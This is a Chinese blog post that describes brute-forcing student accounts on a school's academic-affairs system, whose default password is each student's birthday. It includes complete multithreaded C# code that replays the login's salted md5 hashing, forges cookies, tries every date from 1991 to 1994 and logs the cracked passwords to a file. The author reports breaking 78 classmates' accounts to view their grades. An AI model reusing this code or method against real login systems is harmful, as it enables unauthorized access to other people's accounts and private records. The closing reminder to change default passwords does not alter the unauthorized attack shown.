C#構造Http 破解學校教務系統學生帳號密碼

背景介紹html

  咱們學校的教務系統的是以學生學號做爲登錄帳號,初始密碼是本身的生日。服務器

 

一點點想法cookie

  每次期末查成績的時候,我都會有一個想法,要是我能跑到系統後臺,把本身的成績修改一下,那該時間多麼舒坦的事情啊。固然,我目前還並無這麼作。^_^  光看本身的成績不過癮,有時候還想看下同窗的成績。怎麼辦呢?忽然,我發現我歷來沒有改過個人密碼,那會不會有不少人像我這樣,沒有改密碼呢?若是是這樣,那麼密碼就應該主要侷限於1991年到1994年的全部日期了,空間集就大大減少了。那我是否是能夠暴力得進行破解呢?若是這樣就直接不停地給服務器發送http數據包,並分析服務器相應的結果,不就能夠了麼?好了,基本的思路我有了,因爲只是在應用層上作文章,我打算用C#實現。網絡

 

開始嘗試,發現困難多線程

  我利用fiddle捕獲了點擊登陸按鈕後,發送給服務器的數據結果如圖:app

      

  這是HTTP數據包的頭部,另外post的數據爲:框架

  

  遮住的部分是個人學號,結果我發現password發送的竟然不是個人生日,而是一串很長的字母數字串,因而我查看網頁源碼,發現裏面有一段這樣的的js語句:ide

  

<form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();">
………………………………
</form>

function selectType()
{
    …………
    change();   
}


function change()
{
     var pw = document.frmLogin.password.value;
     pw = hex_md5(pw);
     pw = hex_md5(pw+sharedValue); //用共享數值再次加密
     document.frmLogin.password.value = pw ;
}

  簡單的說一下這一段的意思,form就是咱們提交的表單,點擊登陸按鈕以前調用 selectType(),selectType()在代碼的最後面調用了change()函數,而change()函數改變了咱們提交給服務器的密碼值。並且在change()函數裏shareValue這個值每次請求,服務器返回的值是不同的,服務器經過這個值來對密碼進行加密。這下算是總算明白爲何會提交一串看不懂的數字字母了(並且每次還不同,由於shareValue每次都不同)。函數

  進一步挖掘,發現hex_md5這個函數,在一個js文件裏面,這個文件裏面存在這一下加密函數,對輸入參數作了很複雜的變換,我簡單地看了一下里面的邏輯,發現都是一點函數的調用,並無涉及到其餘的文件與資源。到這裏,咱們已經基本瞭解了整個加密過程。因而,只要咱們按照這樣的順序對密碼進行一樣的處理,就能獲得正確的密碼。而在C#有個開源項目 Javascript .NET,能夠經過它去調用並執行Js。post

  但問題並無這麼簡單,細心的你觀察Http數據包頭部能夠發現裏面的cookie有三個參數,並且前兩個是經過Js直接設置的,最後一個是服務器設置的。因此經過C#中的HttpWebRequest對象請求,只能獲得最後一個JSESSIONID的值,例外兩個須要在程序裏面另外設置。

 

最終實現

  實現框架:

        for :date從1991到1994年全部的日期

        if(Crack(學號,date)){

          破解成功;

        }

    bool Crack(學號,日期){

        構造合適的HttpWebRequest對象請求登錄頁面;

        分析網頁代碼獲得shareValue的值並與日期一塊兒傳遞給加密函數獲得Post數據裏面的password;

        將獲得的cookie值提取出來,賦給下一次請求的HttpWebRequest對象,同時添加另外兩個cookie值;

        再次發起請求經過分析服務器相應判斷該日期是否正確,正確返回true,不正確返回false;

    }

     實踐中發現單純使用這種方式破解一個帳號的速度大約是30分鐘,主要緣由是每次網絡請求的開銷比較大。後來我在原來思路的基礎上,加入了多線程的方法,把破解速度提升到平均每3-5分鐘破解一個。

具體代碼:

 1     public class Date {
 2         public int y1;
 3         public int y2;
 4         public int m1;
 5         public int m2;
 6         public int d1;
 7         public int d2;
 8         public string stuNumber;
 9 
10         public Date(int a, int b, int c, int d, int e, int f,string num) {
11             y1 = a;
12             m1 = b;
13             d1 = c;
14             y2 = d;
15             m2 = e;
16             d2 = f;
17             stuNumber = num;
18         }
19     }
View Code

  這個類表明待破解的學號,以及相應的日期區間 從y1-m1-d1到y2-m2-d2。

 1         static private bool func(string stunum, string birth)
 2         {
 3             try
 4             {
 5                 HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************");
 6                 rqst.CookieContainer = new CookieContainer();
 7                 rqst.Accept = "text/html, application/xhtml+xml, */*";
 8                 rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
 9                 rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
10                 rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
11                 rqst.Method = "GET";
12                 rqst.KeepAlive = true;
13 
14                 HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse();
15                 var ttt = httpWebResponse.Cookies;
16                 Cookie cookie1 = ttt[0];
17 
18                 Stream responseStream = httpWebResponse.GetResponseStream();
19                 StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII);
20                 string html = streamReader.ReadToEnd();
21 
22                 StreamReader sr = new StreamReader("md5.js");
23                 string md5 = sr.ReadToEnd();
24                 var lines = html.Split('\n');
25                 string temp = lines[406];
26                 var key = temp.Substring(18);
27 
28                 using (JavascriptContext ctx = new JavascriptContext())
29                 {
30                     var i = ctx.Run(md5);
31                     ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);");
32                     var pw = ctx.GetParameter("pw");
33 
34                     CookieContainer objcok = new CookieContainer();
35                     objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", "1421808890459"));
36                     objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", "0"));
37                     objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString()));
38 
39                     HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************");
40                     rqst3.Method = "POST";
41                     rqst3.ContentType = "application/x-www-form-urlencoded";
42                     rqst3.Referer = "http://****************";
43                     rqst3.Accept = "text/html, application/xhtml+xml, *?*";
44                     rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
45                     rqst3.ServicePoint.ConnectionLimit = 300;
46                     rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
47                     rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
48                     rqst3.CookieContainer = new CookieContainer();
49                     rqst3.CookieContainer = objcok;
50 
51 
52                     Encoding encoding = Encoding.ASCII;
53                     string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin";
54                     byte[] postData = encoding.GetBytes(postDataStr3);
55                     rqst3.ContentLength = postData.Length;
56                     Stream requestStream = rqst3.GetRequestStream();
57                     requestStream.Write(postData, 0, postData.Length);
58 
59                     HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse();
60                     Stream responseStream3 = httpWebResponse3.GetResponseStream();
61                     StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312"));
62                     string html2 = streamReader3.ReadToEnd();
63                     if (httpWebResponse3.ResponseUri.ToString() == "************************")
64                         return true;
65                 }
66                 return false;
67             }
68             catch (Exception e) {
69                 Console.WriteLine("error:" +stunum + '\t' + birth);
70                 return false;
71             }
72         }
View Code

     這個是上面所說的的Crack函數;

 1         static public void threadFunc(object da){
 2             Date date = (Date)da;
 3             for (int y = date.y1; y <= date.y2; y++)
 4             {
 5                 for (int m = date.m1; m <= date.m2; m++)
 6                 {
 7                     for (int d = date.d1; d <= date.d2; d++)
 8                     {
 9                         if (flag == 1)
10                             return;
11                         StringBuilder tempStr = new StringBuilder();
12                         tempStr.Append(y.ToString());
13                         if (m < 10)
14                         {
15                             tempStr.Append("0" + m.ToString());
16                         }
17                         else
18                         {
19                             tempStr.Append(m.ToString());
20                         }
21                         if (d < 10)
22                         {
23                             tempStr.Append("0" + d.ToString());
24                         }
25                         else
26                         {
27                             tempStr.Append(d.ToString());
28                         }
29                         if (func(date.stuNumber, tempStr.ToString()))
30                         {
31                             psword = tempStr.ToString();
32                             flag = 1;
33                             break;
34                         }
35                     }
36                     if (flag == 1) break;
37                 }
38                 if (flag == 1) break;
39             }
40         }
View Code

  多線程的線程函數,經過傳遞參數的不一樣,對不一樣時間區間同時破解。

 1 static void Main(string[] args)
 2         {
 3             for (int num = ******; num < ******; num++) {
 4                 Console.WriteLine("0" + num);
 5                 FileStream fs = new FileStream("dic.txt", FileMode.Append);
 6                 StreamWriter sw = new StreamWriter(fs, Encoding.Default);
 7                 Date date1 = new Date(1991, 1, 1, 1991, 3, 31,"0" + num);
 8                 Date date2 = new Date(1991, 4, 1, 1991, 6, 30, "0" + num);
 9                 Date date3 = new Date(1991, 7, 1, 1991, 9, 30, "0" + num);
10                 Date date4 = new Date(1991, 10, 1, 1991, 12, 31, "0" + num);
11                 Date date5 = new Date(1992, 1, 1, 1992, 3, 31, "0" + num);
12                 Date date6 = new Date(1992, 4, 1, 1992, 6, 30, "0" + num);
13                 Date date7 = new Date(1992, 7, 1, 1992, 9, 30, "0" + num);
14                 Date date8 = new Date(1992, 10, 1, 1992, 12, 31, "0" + num);
15                 Date date9 = new Date(1993, 1, 1, 1993, 3, 31, "0" + num);
16                 Date date10 = new Date(1993, 4, 1, 1993, 6, 30, "0" + num);
17                 Date date11 = new Date(1993, 7, 1, 1993, 9, 30, "0" + num);
18                 Date date12 = new Date(1993, 10, 1, 1993, 12, 31, "0" + num);
19                 Date date13 = new Date(1994, 1, 1, 1994, 3, 31, "0" + num);
20                 Date date14 = new Date(1994, 4, 1, 1994, 6, 30, "0" + num);
21 
22                 Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc));
23                 Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc));
24                 Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc));
25                 Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc));
26                 Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc));
27                 Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc));
28                 Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc));
29                 Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc));
30                 Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc));
31                 Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc));
32                 Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc));
33                 Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc));
34                 Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc));
35                 Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc));
36 
37                 thread1.Start(date1);
38                 thread2.Start(date2);
39                 thread3.Start(date3);
40                 thread4.Start(date4);
41                 thread5.Start(date5);
42                 thread6.Start(date6);
43                 thread7.Start(date7);
44                 thread8.Start(date8);
45                 thread9.Start(date9);
46                 thread10.Start(date10);
47                 thread11.Start(date11);
48                 thread12.Start(date12);
49                 thread13.Start(date13);
50                 thread14.Start(date14);
51 
52                 thread1.Join();
53                 thread2.Join();
54                 thread3.Join();
55                 thread4.Join();
56                 thread5.Join();
57                 thread6.Join();
58                 thread7.Join();
59                 thread8.Join();
60                 thread9.Join();
61                 thread10.Join();
62                 thread11.Join();
63                 thread12.Join();
64                 thread13.Join();
65                 thread14.Join();
66 
67                 if (flag == 1) {
68                     sw.WriteLine("0" + num + '\t' + psword);
69                     flag = 0;
70                 }
71                 sw.Close();
72                 fs.Close();
73             }
74         }
View Code

  主函數寫得有點醜。你們請見諒,若是你們有更優雅的方法實現,能夠指教一下。

  大體的過程就是這樣,最後說說成果吧,我對咱們班100來號人的帳號進行了嘗試,結果破解了78位同窗的帳號,這個過程大概花了一整個下午的時間。原來大部分人都和我同樣,沒有改密碼。在此提醒哪些不應初始密碼的同窗,不應初始密碼,就至關於告訴了別人你的密碼空間是什麼樣的,這將大大下降破解的時間,因此但願可以引發你們對修改密碼必要性的重視。

相關文章
相關標籤/搜索